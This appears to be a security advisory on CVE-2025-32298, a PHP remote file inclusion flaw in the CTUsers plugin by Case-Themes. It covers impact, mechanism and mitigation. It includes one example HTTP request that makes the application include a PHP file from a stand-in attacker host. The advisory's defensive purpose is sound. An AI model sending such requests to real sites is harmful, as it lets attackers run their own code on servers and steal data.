Overview
The vulnerability, identified as CVE-2025-32298, is a critical flaw in the CTUsers software developed by Case-Themes. It arises from an improper control of the filename for the Include/Require statements in a PHP program, commonly known as a PHP Remote File Inclusion vulnerability. It affects CTUsers up to version 1.0.0. This vulnerability, if exploited, could lead to a system compromise and potential data leakage.
Vulnerability Summary
CVE ID: CVE-2025-32298
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
CTUsers | n/a through 1.0.0
How the Exploit Works
The exploit works by an attacker manipulating the filename in an Include/Require statement within a PHP program. This manipulated filename can point to an external PHP file that contains malicious code. This file is then included and executed in the context of the web application, leading to potential system compromise.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited is shown below:
GET /CTUsers/index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this case, the `file` parameter in the URL is manipulated to include a PHP file hosted on an attacker-controlled server. The server then processes this external PHP file as part of the script execution, leading to potential malicious activities.
Mitigation
The recommended mitigation for this vulnerability is to apply the vendor patch. If the patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on requests that attempt to exploit this vulnerability.
